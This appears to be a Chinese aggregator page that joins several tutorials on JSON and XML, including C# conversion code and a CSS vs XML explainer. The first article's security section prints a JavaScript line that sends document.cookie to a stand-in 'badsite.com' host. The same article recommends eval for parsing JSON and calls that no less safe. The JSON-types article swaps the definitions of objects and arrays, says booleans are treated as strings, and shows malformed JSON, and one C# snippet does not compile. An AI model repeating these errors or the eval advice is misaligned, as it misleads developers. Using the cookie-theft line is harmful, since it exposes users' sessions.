GVKun编程网logo

json与xml的区别(json与xml的区别 优缺点)

17

在这篇文章中,我们将为您详细介绍json与xml的区别的内容,并且讨论关于json与xml的区别优缺点的相关问题。此外,我们还会涉及一些关于.NETCoreC#中级篇2-6Json与XML、API接口

在这篇文章中,我们将为您详细介绍json与xml的区别的内容,并且讨论关于json与xml的区别 优缺点的相关问题。此外,我们还会涉及一些关于.NETCore C# 中级篇2-6 Json与XML、API接口常用数据格式Json,Json的定义和XML的区别、C#JSON与XML转换、css与xml的区别是什么的知识,以帮助您更全面地了解这个主题。

本文目录一览:

json与xml的区别(json与xml的区别 优缺点)

json与xml的区别(json与xml的区别 优缺点)

(点击获取更多资料的下载

曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开 始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并 不是可以依据个人喜好就轻易得出结论的。

JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因 为他们计划下一代接口只支持JSON。

老k博客将从下面几个方面来客观比较一下两者

  • 1. 可读性
  • 2. 是否易于在服务端创建数据
  • 3. 是否易于在客户端处理数据
  • 4. 扩展性
  • 5. 调试和故障排除
  • 6. 安全

可读性

两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是 相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。

是否易于在服务端创建数据

XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。

是否易于在客户端处理数据

在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函 数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在 这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫 地选择json。

扩展性

可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。

毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码

1 var xml = xhr.responseXML;
2  var elements = xml.getElementsByTagName("firstName");
3  var firstNameEl = elements[0];
4  var lastNameEl = firstNameEl.nextSibling;

如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话,那以上的代码就要作相应 的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这 一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。

调试和故障排除

这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。

使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。

在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。
安全性

有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:

1 window.location ="<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
2  person : {
3  "firstName":"Subbu",
4  "lastName":"Allamaraju"
5  }

上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开 发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全 的。

数据交换格式比较之关于轻量级和重量级:

轻量级和重量级是相对来说的,那么XML相对于JSON的重量级体现在哪呢?我想应该体现在解析上,XML目前设计了两种解析方式:DOM和SAX;

DOM是把一个数据交换格式XML看成一个DOM对象,需要把XML文件整个读入内存,这一点上JSON和XML的原理是一样的,但是XML要考虑 父节点和子节点,这一点上JSON的解析难度要小很多,因为JSON构建于两种结构:key/value,键值对的集合;值的有序集合,可理解为数组;

SAX不需要整个读入文档就可以对解析出的内容进行处理,是一种逐步解析的方法。程序也可以随时终止解析。这样,一个大的文档就可以逐步的、一点一点的展现出来,所以SAX适合于大规模的解析。这一点,JSON目前是做不到得。

所以,JSON和XML的轻/重量级的区别在于:JSON只提供整体解析方案,而这种方法只在解析较少的数据时才能起到良好的效果;而XML提供了对大规模数据的逐步解析方案,这种方案很适合于对大量数据的处理。


数据交换格式比较之关于数据格式编码及解析的难度:

在编码上,虽然XML和JSON都有各自的编码工具,但是JSON的编码要比XML简单,即使不借助工具,也可以写出JSON代码,但要写出好的 XML代码就有点困难;与XML一样,JSON也是基于文本的,且它们都使用Unicode编码,且其与数据交换格式XML一样具有可读性。

主观上来看,JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述,只是描述较简短。从总体来看,XML比较适合于标记文档,而JSON却更适于进行数据交换处理。

在解析上,在普通的web应用领域,开发者经常为XML的解析伤脑筋,无论是服务器端生成或处理XML,还是客户端用 JavaScript 解析XML,都常常导致复杂的代码,极低的开发效率。

.NETCore C# 中级篇2-6 Json与XML

.NETCore C# 中级篇2-6 Json与XML

.NETCoreCSharp 中级篇2-6

本节内容为Json和XML操作

简介

Json和XML文本是计算机网络通信中常见的文本格式,其中Json其实就是JavaScript中的数组与对象,体现了一种面向对象的方式,而XML则是一种可标记语言,类似于我们的html标签,他更多的是体现一种层级关系。 但无论哪一种文本格式,我们都有学习的必要。

JSON

首先,介绍一下Json: Json其实就是JavaScript里面的对象和数组,通过不同的组合,可以构成许多不同的数据结构。其中使用花括号的是对象,中括号的是数组,例如:

{
"data":
    {
        "people":
        [
            {"name":"ppppp","age":18}
        ]
    },
"status":0
}

这里面,data就是一个对象,而people就是一个数组。

如果你要处理Json数据,你在nuget上可以找到许多适宜的库,在这里,我是用的是LitJson,这可能是一个比较少见的库,但是我觉得很好用。

这里我给出我们的免费api地址https://www.sojson.com/api/weather.html,这里你可以请求到我们的json文本。

对于LitJson,它充分的阐明了我们Json的核心——数组与对象。对于LitJson,数组使用List<T>,对象则直接创建一个类进行处理。对于上面的例子,我们可以构造出如下的类关系

public class data
{
    public List<People> people{ get; set; }
    public int status{ get; set; }
}
// 下面操作将json文本转换成data的对象
Main()
{
    JsonContent jsonc = JsonMapper.ToObject<data>(json);
    foreach(var t in data)
}

更多内容可以看我的这篇博文Json处理实战,以及LitJson的官网

XML

XML也是广泛应用于网络信息交换的一种常见文本格式,他的书写有点类似于我们的html,正如之前所说,他更多的是阐明一种层级关系。例如下文便是一个常见的xml文本的格式。

<Computers>
  <Computer ID="11111111" Description="Made in USA">
    <name>Surface</name>
    <price>5000</price>
  </Computer>
  <Computer ID="2222222" Description="Made in USA">
    <name>IBM</name>
    <price>10000</price>
  </Computer>
    <Computer ID="3333333" Description="Made in USA">
    <name>Apple Mac</name>
    <price>10000</price>
  </Computer>
</Computers>

在C#中,我们操作XML同样的有许多库,这里我们使用XmlDocument进行操作。

XmlDocument类中的常用方法:

  • Load(string path)加载文件路径的Xml
  • SelectSingleNode(string node)选中节点
  • ChildNodes,属性不是函数,用于获取所有子节点,返回XmlNodeList对象
  • HasChildNodes属性,判断是否有子节点
  • CreateElement创建新节点
  • AppendChild(XmlElement node)追加子节点
  • InsertBefore(XmlElement node,XmlElement ChildeNodes)向前插入
  • SetAttribute(string name,string value)为指定节点的新建属性并赋值
  • InnerText属性,获取内部文本
  • Save()保存
    XmlDocument myXmlDoc = new XmlDocument();
    //加载xml文件(参数为xml文件的路径)
    myXmlDoc.Load(xmlFilePath);
    //获得第一个姓名匹配的节点(SelectSingleNode):此xml文件的根节点
    XmlNode rootNode = myXmlDoc.SelectSingleNode("Computers");
    //分别获得该节点的InnerXml和OuterXml信息
    string innerXmlInfo = rootNode.InnerXml.ToString();
    string outerXmlInfo = rootNode.OuterXml.ToString();
    //获得该节点的子节点(即:该节点的第一层子节点)
    XmlNodeList firstLevelNodeList = rootNode.ChildNodes;
    foreach (XmlNode node in firstLevelNodeList)
    {
        //获得该节点的属性集合
        XmlAttributeCollection attributeCol = node.Attributes;
        foreach (XmlAttribute attri in attributeCol)
        {
            //获取属性名称与属性值
            string name = attri.Name;
            string value = attri.Value;
            Console.WriteLine("{0} = {1}", name, value);
        }

        //判断此节点是否还有子节点
        if (node.HasChildNodes)
        {
            //获取该节点的第一个子节点
            XmlNode secondLevelNode1 = node.FirstChild;
            //获取该节点的名字
            string name = secondLevelNode1.Name;
            //获取该节点的值(即:InnerText)
            string innerText = secondLevelNode1.InnerText;
            Console.WriteLine("{0} = {1}", name, innerText);
            //获取该节点的第二个子节点(用数组下标获取)
            XmlNode secondLevelNode2 = node.ChildNodes[1];
            name = secondLevelNode2.Name;
            innerText = secondLevelNode2.InnerText;
            Console.WriteLine("{0} = {1}", name, innerText);
        }
    }
}
    catch (Exception ex)
    {
         Console.WriteLine(ex.ToString());
    }

博主不常用xml,更多内容请参考微软官方文档以及https://www.cnblogs.com/zhengwei-cq/p/7242979.html的这篇博文

如果我的文章帮助了您,请您在github.NETCoreGuide项目帮我点一个star,在博客园中点一个关注和推荐。

Github

BiliBili主页

WarrenRyan''sBlog

博客园

API接口常用数据格式Json,Json的定义和XML的区别

API接口常用数据格式Json,Json的定义和XML的区别

现在程序员还有谁不知道 JSON 吗?无论对于前端还是后端,JSON 都是一种常见的数据格式。那么 JSON 到底是什么呢?

JSON 的定义
JSON (JavaScript Object Notation) ,是一种轻量级的数据交换格式。它的使用范围很广,并成为 ECMA 标准,可以被使用在多种编程语言中,用于前后端之间的数据传输、存储和交换数据。可以说是“用更少的编码,有更快的处理速度”,所以深受广大程序员的喜爱。

JSON 格式的数据是由键值对组成的,其中键值对之间使用逗号分隔。在 JSON 中,键和值都必须使用双引号引起来。

一个简单的 JSON 对象例子:

{ "name": "Apifox", "age": 2, "city": "Guangzhou" }

JSON 的含义和类型
JSON 用于 JavaScript,把任何 JavaScript 对象变成 JSON,即把这个对象序列化成一个 JSON 格式的字符串,然后通过网络传递给其他计算机。JSON 格式的字符串由双引号 “ ” 包裹,由键值对组成,键和值之间使用冒号 : 分隔,键值对之间使用逗号 , 分隔。值可以是字符串、数字、布尔、null、数组或对象等类型。

在 JSON 中,常见的数据类型有:

字符串:JavaScript 中的string,用于表示文本信息,包含反斜杠 \ 转义。
{ "name": "Apifox" }

数字:JavaScript 中的number,用于表示数值信息,可以是整数或浮点数。
{ "id": 48, "price": 17.95 }

布尔值:JavaScript 中的boolean,用于表示真假信息。布尔值并不包含在引号内,而是被视为字符串值。
{ "allowLogin": false }

null:JavaScript的null,用于表示空值。
{ "address": null }

对象:JavaScript的{ ... },表示方式用于表示有序的值的集合,每个值可以是任意类型。
{ "category" : { "id" : 675442 , "name" : "小狐" } }

数组:JavaScript的Array,表示方式为[],用于表示无序的键值对集合,每个键值对都是由键名和对应的值组成。
{ "list" : [ { "name" : "Lihua", "age" : 22, } { "name" : "Zhangsan", "age" : 25 } ] }

下面是一个完整的 JSON 数据示例:

{ "name": "Simon", "age": 2, "isMale": true, "hobbies": ["reading", "learning", "traveling"], "address": { "city": "Guangzhou", "postCode": "510000" }, "email": null }

JSON 数据的使用场景
JSON 的应用非常广泛。它被用于前后端之间的数据传输,也被用于存储和交换数据。在 Web 开发中,JSON 通常被用来获取来自服务器的数据。这些数据可以被使用在网页上,以便实现动态的交互和更新页面内容。同时,JSON 也被广泛应用于移动应用程序、桌面应用程序以及各种互联网服务中。

相比于其它数据格式,JSON 具有以下优势:

简洁易读:JSON 的语法比较简洁,易于阅读和编写。
解析速度快:JSON 的解析速度通常比其他数据格式更快。
兼容性好:JSON 和 JavaScript 的兼容性非常好,因为它们共享着相同的语法和数据结构。
JSON 与 XML
XML 是一种另外一种常见的数据格式(纯文本格式),也被广泛应用于数据交换。在 JSON 出现之前,大家一直用 XML 来传递数据。

但是相对于 JSON 而言,XML 规范比较复杂,JSON 的语法更加简洁,易于阅读和编写。且 JSON 的解析速度通常也比 XML 更快。同时,JSON 和 JavaScript 的兼容性非常好,因为它们共享着相同的语法和数据结构。

但是 XML 仍然是一种被广泛使用的数据格式,尤其在某些特定领域和场景下,它对于数据的描述更加严谨和准确,且支持更为复杂的数据结构和数据类型定义等。因此,在实际的编程和开发过程中,我们需要根据具体的场景和需要,选择合适的数据格式。

关于 JSON 的其他补充
除了上述内容,JSON 还有一些其他的相关内容:

JSONP:JSONP 是 JSON with Padding 的简称,是一种通过 script 标签跨域获取 JSON 数据的技术。
JSON Schema:JSON Schema 是一种用于验证和描述 JSON 数据的规范,它可以用于定义 JSON 数据的结构、格式和约束条件。
JSON Web Token(JWT) :JWT 是一种基于 JSON 的开放标准,用于在网络上安全地传输声明。它常被用于身份认证和授权场景中。
需要注意的是,JSON 虽然被广泛使用,但是它并不是一种完全安全的数据格式。在处理 JSON 数据时,需要注意防止 XSS 攻击和其他安全漏洞。因此,在使用 JSON 时,需要仔细考虑数据的来源和使用方式,以确保数据的安全性。

小结
JSON 作为一种轻量级的数据格式,具有更加简洁的语法和更好的解析速度。因此,学习如何使用JSON 已经变成了现代编程的基本技能之一。JSON 数据格式也是常用于 API 接口传输数据的格式。
 

C#JSON与XML转换

C#JSON与XML转换

C#JSON转XML

输入:[{\''name\'': \''yancy\'',\''value\'': \''0\''},{\''name\'': \''jieny\'',\''value\'': \''1\''}]

string str = "[{\''name\'': \''yancy\'',\''value\'': \''0\''},{\''name\'': \''jieny\'',\''value\'': \''1\''}]";

调用方法:GetCustomItemSpecifics(str)

 

输出:<?xml version="1.0" encoding="utf-8"?><CustomItemSpecifics xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ItemSpecifics><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">yancy</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">0</Value></NameValueListType><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">jieny</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">1</Value></NameValueListType></ItemSpecifics></CustomItemSpecifics>

 代码:

GetCustomItemSpecifics

public static string GetCustomItemSpecifics(string str)
        {
            DataTable dt= JsonConvert.DeserializeObject<DataTable>(str);

            List<Json2Xml.NameValueListType> nvl = new List<Json2Xml.NameValueListType>();

            foreach (DataRow dr in dt.Rows)
            {
                Json2Xml.NameValueListType nv = new Json2Xml.NameValueListType();

                string sName = dr["Name"].ToString();
                string sValue = dr["Value"].ToString();

                if (sName != string.Empty && sValue != string.Empty)
                {
                    nv.Name = sName;
                    nv.Value = new string[] { sValue };
                    nvl.Add(nv);
                }
            }

            if (nvl.Count == 0)
            {
                return string.Empty;
            }
            else
            {
                Json2Xml.CustomItemSpecifics t = new Json2Xml.CustomItemSpecifics();
                t.ItemSpecifics = nvl.ToArray();
                return Json2Xml.ObjectToText(t, typeof(Json2Xml.CustomItemSpecifics));
            }
        }

Json2Xml.cs

using System;
using System.IO;
using System.Text;
using System.Xml;
using System.Xml.Serialization;

namespace ConsoleApp1
{
    public class Json2Xml
    {
        [System.CodeDom.Compiler.GeneratedCodeAttribute("System.Xml", "4.7.2612.0")]
        [System.SerializableAttribute()]
        [System.Xml.Serialization.XmlTypeAttribute(Namespace = "urn:ebay:apis:eBLBaseComponents")]
        public enum ItemSpecificSourceCodeType
        {

            /// <remarks/>
            ItemSpecific,

            /// <remarks/>
            Attribute,

            /// <remarks/>
            Product,

            /// <remarks/>
            CustomCode,
        }

        [System.CodeDom.Compiler.GeneratedCodeAttribute("System.Xml", "4.7.2612.0")]
        [System.SerializableAttribute()]
        [System.Diagnostics.DebuggerStepThroughAttribute()]
        [System.ComponentModel.DesignerCategoryAttribute("code")]
        [System.Xml.Serialization.XmlTypeAttribute(Namespace = "urn:ebay:apis:eBLBaseComponents")]
        public partial class NameValueListType
        {

            private string nameField;

            private string[] valueField;

            private ItemSpecificSourceCodeType sourceField;

            private bool sourceFieldSpecified;

            private System.Xml.XmlElement[] anyField;

            /// <remarks/>
            public string Name
            {
                get
                {
                    return this.nameField;
                }
                set
                {
                    this.nameField = value;
                }
            }

            /// <remarks/>
            [System.Xml.Serialization.XmlElementAttribute("Value")]
            public string[] Value
            {
                get
                {
                    return this.valueField;
                }
                set
                {
                    this.valueField = value;
                }
            }

            /// <remarks/>
            public ItemSpecificSourceCodeType Source
            {
                get
                {
                    return this.sourceField;
                }
                set
                {
                    this.sourceField = value;
                }
            }

            /// <remarks/>
            [System.Xml.Serialization.XmlIgnoreAttribute()]
            public bool SourceSpecified
            {
                get
                {
                    return this.sourceFieldSpecified;
                }
                set
                {
                    this.sourceFieldSpecified = value;
                }
            }

            /// <remarks/>
            [System.Xml.Serialization.XmlAnyElementAttribute()]
            public System.Xml.XmlElement[] Any
            {
                get
                {
                    return this.anyField;
                }
                set
                {
                    this.anyField = value;
                }
            }
        }

        public class CustomItemSpecifics
        {
            public NameValueListType[] ItemSpecifics;
        }

        public class Item
        {
            public string Name { get; set; }

            public string Value { get; set; }

            public string[] RecommValues { get; set; }

            //public void DataTable2Entity(Item item, DataRow dr) {
            //    item.Name=dr.
            //}
        }

        public static string ObjectToText(Object inObject, Type inType)
        {
            String XmlizedString = null;
            MemoryStream ms = new MemoryStream();
            XmlSerializer xs = new XmlSerializer(inType);
            XmlTextWriter xmlTextWriter = new XmlTextWriter(ms, Encoding.UTF8);
            xs.Serialize(xmlTextWriter, inObject);
            ms = (MemoryStream)xmlTextWriter.BaseStream;
            XmlizedString = UTF8ByteArrayToString(ms.ToArray());

            return XmlizedString;
        }

        private static String UTF8ByteArrayToString(Byte[] characters)
        {
            UTF8Encoding encoding = new UTF8Encoding();
            String constructedString = encoding.GetString(characters);

            if (constructedString.Length > 0)
            {
                constructedString = constructedString.Substring(1);
            }
            return (constructedString);
        }

        public static Object TextToObject(string inText, Type inType)
        {
            try
            {
                if (string.IsNullOrEmpty(inText))
                {
                    return null;
                }
                else
                {
                    XmlSerializer xs = new XmlSerializer(inType);
                    MemoryStream ms = new MemoryStream(StringToUTF8ByteArray(inText));
                    XmlTextWriter xmlTextWriter = new XmlTextWriter(ms, Encoding.UTF8);
                    return (Object)xs.Deserialize(ms);
                }
            }
            catch
            {
                return null;
            }
        }
        private static byte[] StringToUTF8ByteArray(string inText)
        {
            UTF8Encoding encoding = new UTF8Encoding();
            Byte[] byteArray = encoding.GetBytes(inText);

            return byteArray;
        }
    }
}

 

C#XML转JSON

输入:<?xml version="1.0" encoding="utf-8"?><CustomItemSpecifics xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ItemSpecifics><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">yancy</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">0</Value></NameValueListType><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">jieny</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">1</Value></NameValueListType></ItemSpecifics></CustomItemSpecifics>

调用方法:XmlToJSON(doc)

输出:{ "CustomItemSpecifics": {"ItemSpecifics": { "NameValueListType": [ {"Name": {"value": "yancy", "xmlns": "urn:ebay:apis:eBLBaseComponents" }, "Value": {"value": "0", "xmlns": "urn:ebay:apis:eBLBaseComponents" } }, {"Name": {"value": "jieny", "xmlns": "urn:ebay:apis:eBLBaseComponents" }, "Value": {"value": "1", "xmlns": "urn:ebay:apis:eBLBaseComponents" } } ] }, "xmlns:xsd": "http:\/\/www.w3.org\/2001\/XMLSchema", "xmlns:xsi": "http:\/\/www.w3.org\/2001\/XMLSchema-instance" }}

 

 代码:

XmlToJSONHelper.cs

using System.Collections;
using System.Text;
using System.Xml;

namespace ConsoleApp1
{
    public class XmlToJSONHelper
    {
        public static string XmlToJSON(XmlDocument xmlDoc)
        {
            StringBuilder sbJSON = new StringBuilder();
            sbJSON.Append("{ ");
            XmlToJSONnode(sbJSON, xmlDoc.DocumentElement, true);
            sbJSON.Append("}");
            return sbJSON.ToString();
        }

        public static void XmlToJSONnode(StringBuilder sbJSON, XmlElement node, bool showNodeName)
        {
            if (showNodeName)
                sbJSON.Append("\"" + SafeJSON(node.Name) + "\": ");
            sbJSON.Append("{");

            SortedList childNodeNames = new SortedList();

            if (node.Attributes != null)
                foreach (XmlAttribute attr in node.Attributes)
                    StoreChildNode(childNodeNames, attr.Name, attr.InnerText);

            foreach (XmlNode cnode in node.ChildNodes)
            {
                if (cnode is XmlText)
                    StoreChildNode(childNodeNames, "value", cnode.InnerText);
                else if (cnode is XmlElement)
                    StoreChildNode(childNodeNames, cnode.Name, cnode);
            }
            foreach (string childname in childNodeNames.Keys)
            {
                ArrayList alChild = (ArrayList)childNodeNames[childname];
                if (alChild.Count == 1)
                    OutputNode(childname, alChild[0], sbJSON, true);
                else
                {
                    sbJSON.Append(" \"" + SafeJSON(childname) + "\": [ ");
                    foreach (object Child in alChild)
                        OutputNode(childname, Child, sbJSON, false);
                    sbJSON.Remove(sbJSON.Length - 2, 2);
                    sbJSON.Append(" ], ");
                }
            }
            sbJSON.Remove(sbJSON.Length - 2, 2);
            sbJSON.Append(" }");
        }

        public static void StoreChildNode(SortedList childNodeNames, string nodeName, object nodeValue)
        {
            if (nodeValue is XmlElement)
            {
                XmlNode cnode = (XmlNode)nodeValue;
                if (cnode.Attributes.Count == 0)
                {
                    XmlNodeList children = cnode.ChildNodes;
                    if (children.Count == 0)
                        nodeValue = null;
                    else if (children.Count == 1 && (children[0] is XmlText))
                        nodeValue = ((XmlText)(children[0])).InnerText;
                }
            }
            object oValuesAL = childNodeNames[nodeName];
            ArrayList ValuesAL;
            if (oValuesAL == null)
            {
                ValuesAL = new ArrayList();
                childNodeNames[nodeName] = ValuesAL;
            }
            else
                ValuesAL = (ArrayList)oValuesAL;
            ValuesAL.Add(nodeValue);
        }

        public static void OutputNode(string childname, object alChild, StringBuilder sbJSON, bool showNodeName)
        {
            if (alChild == null)
            {
                if (showNodeName)
                    sbJSON.Append("\"" + SafeJSON(childname) + "\": ");
                sbJSON.Append("null");
            }
            else if (alChild is string)
            {
                if (showNodeName)
                    sbJSON.Append("\"" + SafeJSON(childname) + "\": ");
                string sChild = (string)alChild;
                sChild = sChild.Trim();
                sbJSON.Append("\"" + SafeJSON(sChild) + "\"");
            }
            else
                XmlToJSONnode(sbJSON, (XmlElement)alChild, showNodeName);
            sbJSON.Append(", ");
        }

        public static string SafeJSON(string sIn)
        {
            StringBuilder sbOut = new StringBuilder(sIn.Length);
            foreach (char ch in sIn)
            {
                if (char.IsControl(ch) || ch == ''\'''')
                {
                    int ich = (int)ch;
                    sbOut.Append(@"\u" + ich.ToString("x4"));
                    continue;
                }
                else if (ch == ''\"'' || ch == ''\\'' || ch == ''/'')
                { sbOut.Append(''\\''); }

                sbOut.Append(ch);
            }
            return sbOut.ToString();
        }

        public static void StoreChildNode(IDictionary childNodeNames, string nodeName, object nodeValue)
        {
            ArrayList list2;
            if (nodeValue is XmlElement)
            {
                XmlNode node = (XmlNode)nodeValue;
                if (node.Attributes.Count == 0)
                {
                    XmlNodeList childNodes = node.ChildNodes;
                    if (childNodes.Count == 0)
                    {
                        nodeValue = null;

                    }
                    else if ((childNodes.Count == 1) && (childNodes[0] is XmlText))
                    {

                        nodeValue = childNodes[0].InnerText;

                    }

                }
            }
            object obj2 = childNodeNames[nodeName];
            if (obj2 == null)
            {
                list2 = new ArrayList();
                childNodeNames[nodeName] = list2;
            }
            else
            {
                list2 = (ArrayList)obj2;
            }
            list2.Add(nodeValue);
        }
    }
}

 

css与xml的区别是什么

css与xml的区别是什么

区别是:css是层叠样式表单,是将样式信息与网页内容分离的一种标记语言,主要用来设计网页的样式,还可以对网页各元素进行格式化;xml是可扩展标记语言,是一种数据存储语言,用于使用简单的标记描述数据,将文档分成许多部件并对这些部件加以标识。

css与xml的区别是什么

本教程操作环境:windows10系统、CSS3&&HTML5版本、Dell G3电脑。

css与xml的区别是什么

CSS—Cascading Style Sheet

层叠样式表单。是将样式信息与网页内容分离的一种标记语言。

CSS主要用来设计网页的样式,美化网页;它不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。

立即学习“前端免费学习笔记(深入)”;

CSS 能够对网页中元素位置的排版进行像素级精确控制,支持几乎所有的字体字号样式,拥有对网页对象和模型样式编辑的能力。

我们使用CSS为每个HTML元素定义样式,也可以用于多个界面。进行全局更新时,只需修改样式即可。

body {
    border :1px solid #000;/*整体的边框*/
    font-size :14px;
}
登录后复制

说白了,CSS就是设置网页上HTML元素属性的语言。

XML—Extensible Markup Language

可拓展标记语言。将文档分成许多部件并对这些部件加以标识。它也是元标记语言,即定义了用于定义其他与特定领域有关的、语义的、结构化的标记语言的句法语言。

可扩展标记语言(标准通用标记语言的子集)是一种简单的数据存储语言,使用一系列简单的标记描述数据,而这些标记可以用方便的方式建立,虽然可扩展标记语言占用的空间比二进制数据要占用更多的空间,但可扩展标记语言极其简单易于掌握和使用。

<Hello>  
<bcd>China</bcd>  
<bcd>USA</bcd>  
<bcd>UK</bcd>  
</Hello>
登录后复制

XML的设计目标关注于Internet上的简单性、通用性和可用性。它是一种文本数据格式,通过Unicode对不同的人类语言提供了强大的支持。虽然XML的设计主要关注文档,但是这种语言广泛用于表示任意数据结构,比如web服务中使用的数据结构。

(学习视频分享:css视频教程)

以上就是css与xml的区别是什么的详细内容,更多请关注php中文网其它相关文章!

今天的关于json与xml的区别json与xml的区别 优缺点的分享已经结束,谢谢您的关注,如果想了解更多关于.NETCore C# 中级篇2-6 Json与XML、API接口常用数据格式Json,Json的定义和XML的区别、C#JSON与XML转换、css与xml的区别是什么的相关知识,请在本站进行查询。

本文标签: